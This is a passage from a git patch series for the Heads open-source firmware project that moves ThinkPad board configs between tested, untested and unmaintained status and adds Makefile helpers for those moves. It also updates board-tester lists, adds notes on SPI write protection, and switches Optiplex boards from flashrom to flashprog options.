$(pwd)/boards/w541-maximized/w541-maximized.config +include $(pwd)/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/w541-maximized/w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config similarity index 100% rename from boards/w541-maximized/w541-maximized.config rename to boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config From 2c2af013c583b961c99d8f94f161aa6cbca71940 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 09:53:49 -0400 Subject: [PATCH 277/619] board t440p: move board away from UNTESTED_ with improved Makefile helper board.move_untested_to_tested Update Makefile helper to be able to do it with these steps docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=UNTESTED_t440p-hotp-maximized board.move_untested_to_tested docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=UNTESTED_t440p-maximized board.move_untested_to_tested git status git add boards/t440p-hotp-maximized/t440p-hotp-maximized.config boards/t440p-maximized/t440p-maximized.config .circleci/config.yml boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 +++---- Makefile | 23 +++++++++++-------- .../t440p-hotp-maximized.config} | 2 +- .../t440p-maximized.config} | 0 4 files changed, 18 insertions(+), 15 deletions(-) rename boards/{UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config => t440p-hotp-maximized/t440p-hotp-maximized.config} (66%) rename boards/{UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config => t440p-maximized/t440p-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 73c4b0bae..932a40413 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -432,15 +432,15 @@ workflows: - build: - name: UNTESTED_t440p-maximized - target: UNTESTED_t440p-maximized + name: t440p-maximized + target: t440p-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: UNTESTED_t440p-hotp-maximized - target: UNTESTED_t440p-hotp-maximized + name: t440p-hotp-maximized + target: t440p-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/Makefile b/Makefile index e1dfba00f..2e0a86bb2 100644 --- a/Makefile +++ b/Makefile @@ -792,17 +792,20 @@ modules.clean: done board.move_untested_to_tested: - @echo "NEW_BOARD variable will remove UNTESTED_ prefix from $(BOARD)" + @echo "Moving $(BOARD) from UNTESTED to tested status" @NEW_BOARD=$$(echo $(BOARD) | sed 's/^UNTESTED_//'); \ - echo "changing $(BOARD) name under boards/$(BOARD)/$(BOARD).config to $${NEW_BOARD}"; \ - sed boards/$(BOARD)/$(BOARD).config 's/$(BOARD)/$${NEW_BOARD}/g'; \ - echo "Renaming boards/$$BOARD/$$BOARD.config to boards/$$BOARD/$$NEW_BOARD.config"; \ - mv boards/$$BOARD/$$BOARD.config boards/$$BOARD/$$NEW_BOARD.config; \ - echo "Renaming boards/$$BOARD to boards/$$NEW_BOARD"; \ - rm -rf boards/$$NEW_BOARD; \ - mv boards/$$BOARD boards/$$NEW_BOARD; \ - echo "Replacing $$BOARD with $$NEW_BOARD in .circleci/config.yml"; \ - sed -i "s/$$BOARD/$$NEW_BOARD/g" .circleci/config.yml + INCLUDE_BOARD=$$(grep "include \$$(pwd)/boards/" boards/$(BOARD)/$(BOARD).config | sed 's/.*boards\/\(.*\)\/.*/\1/'); \ + NEW_INCLUDE_BOARD=$$(echo $$INCLUDE_BOARD | sed 's/^UNTESTED_//'); \ + echo "Updating config file: boards/$(BOARD)/$(BOARD).config"; \ + sed -i 's/$(BOARD)/'$${NEW_BOARD}'/g' boards/$(BOARD)/$(BOARD).config; \ + sed -i 's/'$$INCLUDE_BOARD'/'$$NEW_INCLUDE_BOARD'/g' boards/$(BOARD)/$(BOARD).config; \ + echo "Renaming config file to $${NEW_BOARD}.config"; \ + mv boards/$(BOARD)/$(BOARD).config boards/$(BOARD)/$${NEW_BOARD}.config; \ + echo "Renaming board directory to $${NEW_BOARD}"; \ + mv boards/$(BOARD) boards/$${NEW_BOARD}; \ + echo "Updating .circleci/config.yml"; \ + sed -i "s/$(BOARD)/$${NEW_BOARD}/g" .circleci/config.yml; \ + echo "Operation completed for $(BOARD) -> $${NEW_BOARD}" board.move_unmaintained_to_tested: @echo "NEW_BOARD variable will remove UNMAINTAINED_ prefix from $(BOARD)" diff --git a/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config b/boards/t440p-hotp-maximized/t440p-hotp-maximized.config similarity index 66% rename from boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config rename to boards/t440p-hotp-maximized/t440p-hotp-maximized.config index a787f1315..da0cd5101 100644 --- a/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config +++ b/boards/t440p-hotp-maximized/t440p-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base T440p config. -include $(pwd)/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +include $(pwd)/boards/t440p-maximized/t440p-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config similarity index 100% rename from boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config rename to boards/t440p-maximized/t440p-maximized.config From c7a9388e8eca15051f3ff45abee6655f8b83138c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 10:29:31 -0400 Subject: [PATCH 278/619] BOARD_TESTERS.md: updated and reordered testers Tagging https://github.com/linuxboot/heads/issues/692 by this commit log Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index d93375907..e02bde3a2 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -15,8 +15,8 @@ Laptops xx20 (Sandy): === -- [ ] t420 (xx20): @alexmaloteaux @natterangell (iGPU) @akfhasodh @doob85 -- [ ] x220 (xx20): @Thrilleratplay @BlackMaria @srgrint +- [ ] t420 (xx20): @natterangell(iGPU) @alexmaloteaux @akfhasodh @doob85 +- [ ] x220 (xx20): @srgrint @Thrilleratplay xx30 (Ivy): === @@ -28,8 +28,8 @@ xx30 (Ivy): xx4x(Haswell): === -- [ ] t440p: @ThePlexus @srgrint @akunterkontrolle @rbreslow -- [ ] w541 (similar to t440p): @resende-gustavo @gaspar-ilom +- [ ] t440p: @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow +- [ ] w541 (similar to t440p): @resende-gustavo @gaspar-ilom (Always tested late: Needs more responsive board testers or risk to become unmaintained. Now tagged untested) Librems: === @@ -43,7 +43,7 @@ Librems: Clevo: === - [ ] Nitropad NS50 (AlderLake) : @daringer -- [ ] Nitropad NV41 (AlderLake) : @daringer, @tlaurion +- [ ] Nitropad NV41 (AlderLake) : @tlaurion @daringer Desktops/Servers @@ -51,5 +51,5 @@ Desktops/Servers - [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @tlaurion @Tonux599 @zifxify @arhabd - [ ] Librem L1UM v1 (Broadwell): @JonathonHall-Purism - [ ] Librem L1Um v2 (CoffeeLake): @JonathonHall-Purism -- [ ] Talos II (PPC64LE, Power9) : @tlaurion +- [ ] Talos II (PPC64LE, Power9) : @tlaurion (Will become untested, no other known users, not worth my time nor effort even though massive investment of all forms) - [ ] z220-cmt (HP Z220 CMT): @d-wid From 941fa428c4d974dbe30341f14dee6be8e7be8571 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 10:40:02 -0400 Subject: [PATCH 279/619] WP_NOTES.md: add notes on WP wanted, work done and why it's still unused Signed-off-by: Thierry Laurion --- WP_NOTES.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 WP_NOTES.md diff --git a/WP_NOTES.md b/WP_NOTES.md new file mode 100644 index 000000000..25fcbdec8 --- /dev/null +++ b/WP_NOTES.md @@ -0,0 +1,17 @@ +Flashrom was passed to flashprog under https://github.com/linuxboot/heads/pull/1769 + +Thoe are notes for @i-c-o-n and others wanting to move WP forward but track issues and users + +The problem with WP is that it is desired but even if partial write protection regions is present, WP is widely unused. + +Some random notes since support is incomplete (depends on chips, really) +-QDPI is problematic for WP (same IO2 PIN) + - Might be turned on by chipset for ME read https://matrix.to/#/!pAlHOfxQNPXOgFGTmo:matrix.org/$NCNidoPsw1ze6zv3m2jlPuGuNrdlDQmDcU81If-q55A?via=matrix.org&via=nitro.chat&via=tchncs.de +- WP wanted, WP done, WP unused + - WP wanted https://github.com/flashrom/flashrom/issues/185 https://github.com/linuxboot/heads/issues/985 + - WP done: https://github.com/linuxboot/heads/issues/1741 https://github.com/linuxboot/heads/issues/1546 + - Documented https://docs.dasharo.com/variants/asus_kgpe_d16/spi-wp/ + - WP still unused + + +Not sure what is the way forward here, but lets keep this file in tree to track improvements over time. From 36efff484868e6b88ce9d92d33ad2ea57746efe1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 10:46:42 -0400 Subject: [PATCH 280/619] x230 legacy boards: move to unmaintained Also add Makefile helper to move from tested to unmaintained Done by: docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-hotp-legacy board.move_tested_to_unmaintained docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-legacy board.move_tested_to_unmaintained docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=x230-legacy-flash board.move_tested_to_unmaintained git difftool -d git add .circleci/config.yml boards/x230-hotp-legacy/x230-hotp-legacy.config boards/x230-legacy-flash/x230-legacy-flash.config boards/x230-legacy/x230-legacy.config unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/ unmaintained_boards/UNMAINTAINED_x230-legacy-flash/ unmaintained_boards/UNMAINTAINED_x230-legacy/ git commit --signoff -m Signed-off-by: Thierry Laurion --- .circleci/config.yml | 21 ------------------ Makefile | 22 +++++++++++++++++++ .../UNMAINTAINED_x230-hotp-legacy.config | 0 .../UNMAINTAINED_x230-legacy-flash.config | 2 +- .../UNMAINTAINED_x230-legacy.config | 4 ++-- 5 files changed, 25 insertions(+), 24 deletions(-) rename boards/x230-hotp-legacy/x230-hotp-legacy.config => unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config (100%) rename boards/x230-legacy-flash/x230-legacy-flash.config => unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config (92%) rename boards/x230-legacy/x230-legacy.config => unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config (92%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 932a40413..b41ad31c8 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -310,27 +310,6 @@ workflows: requires: - x230-hotp-maximized - - build: - name: x230-legacy-flash - target: x230-legacy-flash - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: x230-legacy - target: x230-legacy - subcommand: "" - requires: - - x230-hotp-maximized - - - build: - name: x230-hotp-legacy - target: x230-hotp-legacy - subcommand: "" - requires: - - x230-hotp-maximized - - build: name: x230-hotp-maximized_usb-kb target: x230-hotp-maximized_usb-kb diff --git a/Makefile b/Makefile index 2e0a86bb2..1026785ac 100644 --- a/Makefile +++ b/Makefile @@ -845,6 +845,28 @@ board.move_tested_to_untested: echo "Replacing $(BOARD) with $${NEW_BOARD} in .circleci/config.yml"; \ sed -i "s/$(BOARD)/$${NEW_BOARD}/g" .circleci/config.yml +board.move_tested_to_unmaintained: + @echo "Moving $(BOARD) from tested to unmaintained status" + @NEW_BOARD=UNMAINTAINED_$(BOARD); \ + INCLUDE_BOARD=$$(grep "include \$$(pwd)/boards/" boards/$(BOARD)/$(BOARD).config | sed 's/.*boards\/\(.*\)\/.*/\1/'); \ + NEW_INCLUDE_BOARD=UNMAINTAINED_$${INCLUDE_BOARD}; \ + echo "Updating config file: boards/$(BOARD)/$(BOARD).config"; \ + sed -i 's/$(BOARD)/'$${NEW_BOARD}'/g' boards/$(BOARD)/$(BOARD).config; \ + if [ -n "$$INCLUDE_BOARD" ]; then \ + sed -i 's/'$$INCLUDE_BOARD'/'$$NEW_INCLUDE_BOARD'/g' boards/$(BOARD)/$(BOARD).config; \ + fi; \ + echo "Creating unmaintained_boards directory if it doesn't exist"; \ + mkdir -p unmaintained_boards/$${NEW_BOARD}; \ + echo "Moving and renaming config file to unmaintained_boards/$${NEW_BOARD}/$${NEW_BOARD}.config"; \ + mv boards/$(BOARD)/$(BOARD).config unmaintained_boards/$${NEW_BOARD}/$${NEW_BOARD}.config; \ + echo "Moving board directory contents to unmaintained_boards/$${NEW_BOARD}"; \ + mv boards/$(BOARD)/* unmaintained_boards/$${NEW_BOARD}/; \ + rmdir boards/$(BOARD); \ + echo "Updating .circleci/config.yml"; \ + sed -i "s/$(BOARD)/$${NEW_BOARD}/g" .circleci/config.yml; \ + echo "Operation completed for $(BOARD) -> $${NEW_BOARD}"; \ + echo "Please manually review and remove any unnecessary entries in .circleci/config.yml" + # Inject a GPG key into the image - this is most useful when testing in qemu, # since we can't reflash the firmware in qemu to update the keychain. Instead, # inject the public key ahead of time. Specify the location of the key with diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config similarity index 100% rename from boards/x230-hotp-legacy/x230-hotp-legacy.config rename to unmaintained_boards/UNMAINTAINED_x230-hotp-legacy/UNMAINTAINED_x230-hotp-legacy.config diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config similarity index 92% rename from boards/x230-legacy-flash/x230-legacy-flash.config rename to unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config index a581fe7bf..ed0e79908 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_x230-legacy-flash/UNMAINTAINED_x230-legacy-flash.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 -CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy-flash.config +CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy-flash.config CONFIG_LINUX_CONFIG=config/linux-x230-flash.config #Add bare minimal tools for flashing boards diff --git a/boards/x230-legacy/x230-legacy.config b/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config similarity index 92% rename from boards/x230-legacy/x230-legacy.config rename to unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config index c09999903..bdd821218 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_x230-legacy/UNMAINTAINED_x230-legacy.config @@ -7,8 +7,8 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 -CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config -CONFIG_LINUX_CONFIG=config/linux-x230-legacy.config +CONFIG_COREBOOT_CONFIG=config/coreboot-UNMAINTAINED_x230-legacy.config +CONFIG_LINUX_CONFIG=config/linux-UNMAINTAINED_x230-legacy.config #Additional hardware support CONFIG_LINUX_USB=y From de99b412ba0c1535ffdae3e00ca05355a761fcfb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 11:04:47 -0400 Subject: [PATCH 281/619] move w541 boards back to tested to dodge drama. Still this board has no known testers Repro docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=UNTESTED_w541-hotp-maximized board.move_untested_to_tested docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) tlaurion/heads-dev-env:latest -- make BOARD=UNTESTED_w541-maximized board.move_untested_to_tested git status git add .circleci/config.yml boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config boards/w541-hotp-maximized/ boards/w541-maximized/ git commit --signoff -m Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- .../w541-hotp-maximized.config} | 2 +- .../w541-maximized.config} | 0 3 files changed, 5 insertions(+), 5 deletions(-) rename boards/{UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config => w541-hotp-maximized/w541-hotp-maximized.config} (66%) rename boards/{UNTESTED_w541-maximized/UNTESTED_w541-maximized.config => w541-maximized/w541-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index b41ad31c8..02095919d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -425,15 +425,15 @@ workflows: - x230-hotp-maximized - build: - name: UNTESTED_w541-maximized - target: UNTESTED_w541-maximized + name: w541-maximized + target: w541-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: UNTESTED_w541-hotp-maximized - target: UNTESTED_w541-hotp-maximized + name: w541-hotp-maximized + target: w541-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config b/boards/w541-hotp-maximized/w541-hotp-maximized.config similarity index 66% rename from boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config rename to boards/w541-hotp-maximized/w541-hotp-maximized.config index 585ecd73b..204f12525 100644 --- a/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config +++ b/boards/w541-hotp-maximized/w541-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base W541 config. -include $(pwd)/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +include $(pwd)/boards/w541-maximized/w541-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/w541-maximized/w541-maximized.config similarity index 100% rename from boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config rename to boards/w541-maximized/w541-maximized.config From e180fed3e2b561cbe0bd2e922588adf06a6c4edb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 13:46:08 -0400 Subject: [PATCH 282/619] WP_NOTES.md: add some more links to past discussions and Platform Chipset Locking(PR0) to lock SPI access from Heads prior of kexec to main OS Signed-off-by: Thierry Laurion --- WP_NOTES.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/WP_NOTES.md b/WP_NOTES.md index 25fcbdec8..5ff46a785 100644 --- a/WP_NOTES.md +++ b/WP_NOTES.md @@ -1,6 +1,6 @@ Flashrom was passed to flashprog under https://github.com/linuxboot/heads/pull/1769 -Thoe are notes for @i-c-o-n and others wanting to move WP forward but track issues and users +Those are notes for @i-c-o-n and others wanting to move WP forward but track issues and users The problem with WP is that it is desired but even if partial write protection regions is present, WP is widely unused. @@ -13,5 +13,10 @@ Some random notes since support is incomplete (depends on chips, really) - Documented https://docs.dasharo.com/variants/asus_kgpe_d16/spi-wp/ - WP still unused +Alternative, as suggested by @i-c-o-n is Chipset Platform Locking (PR0) which is enforced at platform's chipset level for a boot +- This is implemented and enforced on <= Haswell from this PR merged : https://github.com/linuxboot/heads/pull/1373 +- Non-upstreamed work has been made from @root-hardenedvault work in vaultboot downstream fork of Heads at https://github.com/hardenedvault/vaultboot/blob/master/patches/coreboot/0001-x11.patch +- Discussion point under flashrom-> flashprog PR under https://github.com/linuxboot/heads/pull/1769/files/f8eb0a27c3dcb17a8c6fcb85dd7f03e8513798ae#r1752395865 tagging @i-c-o-n + Not sure what is the way forward here, but lets keep this file in tree to track improvements over time. From 697b20ba9737318d68b10d37ec1693df5aad0d06 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 21:03:08 -0400 Subject: [PATCH 283/619] BOARD_TESTERS.md: add @ResendeGHF as first contact board tester for w541 (replacing prior @resende-gustavo) @gaspar-ilom still unresponsive, @gaspar-ilom and @ResendeGHF confirmed to not be the same person. Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index e02bde3a2..fc6df577e 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -29,7 +29,7 @@ xx30 (Ivy): xx4x(Haswell): === - [ ] t440p: @fhvyhjriur @ThePlexus @srgrint @akunterkontrolle @rbreslow -- [ ] w541 (similar to t440p): @resende-gustavo @gaspar-ilom (Always tested late: Needs more responsive board testers or risk to become unmaintained. Now tagged untested) +- [ ] w541 (similar to t440p): @ResendeGHF @gaspar-ilom (Always tested late: Needs more responsive board testers or risk to become unmaintained.) Librems: === From 542e1b51b450bc285a2b27b8d87d83f838777b23 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 10 Sep 2024 21:12:56 -0400 Subject: [PATCH 284/619] flash.sh: remove last references in code to flashrom, use more generic FLASH_OPTIONS instead, might cchange in the future. Signed-off-by: Thierry Laurion --- initrd/bin/flash.sh | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/initrd/bin/flash.sh b/initrd/bin/flash.sh index 7c5a853d0..cd5b9a6e1 100755 --- a/initrd/bin/flash.sh +++ b/initrd/bin/flash.sh @@ -1,7 +1,5 @@ #!/bin/ash # -# based off of flashrom-x230 -# # NOTE: This script is used on legacy-flash boards and runs with busybox ash, # not bash set -e -o pipefail @@ -14,7 +12,7 @@ TRACE "Under /bin/flash.sh" case "$CONFIG_FLASH_OPTIONS" in "" ) - die "ERROR: No flash options have been configured!\n\nEach board requires specific flashrom options and it's unsafe to flash without them.\n\nAborting." + die "ERROR: No flash options have been configured!\n\nEach board requires specific CONFIG_FLASH_OPTIONS options configured. It's unsafe to flash without them.\n\nAborting." ;; * ) DEBUG "Flash options detected: $CONFIG_FLASH_OPTIONS" From f6554f771f96912fc687c98742c9b9bd3f9173d7 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 11 Sep 2024 09:49:50 -0400 Subject: [PATCH 285/619] BOARD_TESTERS.md: reorder known testers by responsiveness Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index fc6df577e..4e79f8a26 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -21,9 +21,10 @@ xx20 (Sandy): xx30 (Ivy): === - [ ] t430 (xx30): @nestire(t430-legacy, t430-maximized) @Thrilleratplay @alexmaloteaux @lsafd @bwachter(iGPU maximized) @shamen123 @eganonoa(iGPU) @nitrosimon @jans23 @icequbes1 (iGPU) @weyounsix (t430-dgpu) -- [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) +- [ ] w530 (xx30): @eganonoa @zifxify @weyounsix (dGPU: w530-k2000m) @jnscmns (dGPU K1000M) @computer-user123 (w530 / & w530 k2000 : prefers iGPU) @tlaurion - [ ] x230 (xx30): @nestire(x230-legacy, x230-maximized) @tlaurion(maximized) @osresearch @merge @jan23 @MrChromebox @shamen123 @eganonoa @bwachter @Thrilleratplay @jnscmns @doob85 @natterangell (x230i variant: irrelevant individual board) - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) +- [ ] x230t : @fhvyhjriur - [ ] t530 (xx30): @fhvyhjriur @3hhh (Opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) xx4x(Haswell): @@ -48,7 +49,7 @@ Clevo: Desktops/Servers == -- [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @tlaurion @Tonux599 @zifxify @arhabd +- [ ] kgpe-d16 (AMD fam15h) (dropped in coreboot 4.12): @arhabd @Tonux599 @zifxify @tlaurion - [ ] Librem L1UM v1 (Broadwell): @JonathonHall-Purism - [ ] Librem L1Um v2 (CoffeeLake): @JonathonHall-Purism - [ ] Talos II (PPC64LE, Power9) : @tlaurion (Will become untested, no other known users, not worth my time nor effort even though massive investment of all forms) From d128fa3f876d2da17555bf0fe82aa76b1d5de503 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 28 Oct 2024 13:24:39 -0400 Subject: [PATCH 286/619] Optiplex boards: switch flashrom-> flashprog Signed-off-by: Thierry Laurion --- .../optiplex-7010_9010-hotp-maximized.config | 4 ++-- .../optiplex-7010_9010-maximized.config | 4 ++-- .../optiplex-7010_9010_TXT-hotp-maximized.config | 4 ++-- .../optiplex-7010_9010_TXT-maximized.config | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index d562e43bf..19f83c076 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -24,7 +24,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -81,7 +81,7 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 HOTP maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 704c63eb9..7b5e6e71f 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -24,7 +24,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -81,7 +81,7 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 maximized" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index e93b9b5d1..194475e04 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -24,7 +24,7 @@ CONFIG_MOBILE_TETHERING=y #Modules packed into tools.cpio CONFIG_CRYPTSETUP2=y -CONFIG_FLASHROM=y +CONFIG_FLASHPROG=y CONFIG_FLASHTOOLS=y CONFIG_GPG2=y CONFIG_KEXEC=y @@ -81,7 +81,7 @@ export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOOT_DEV="/dev/sda1" export CONFIG_BOARD_NAME="Dell Optiplex 7010/9010 HOTP maximized (TXT enabled)" -export CONFIG_FLASHROM_OPTIONS="--force --noverify-all -p internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config 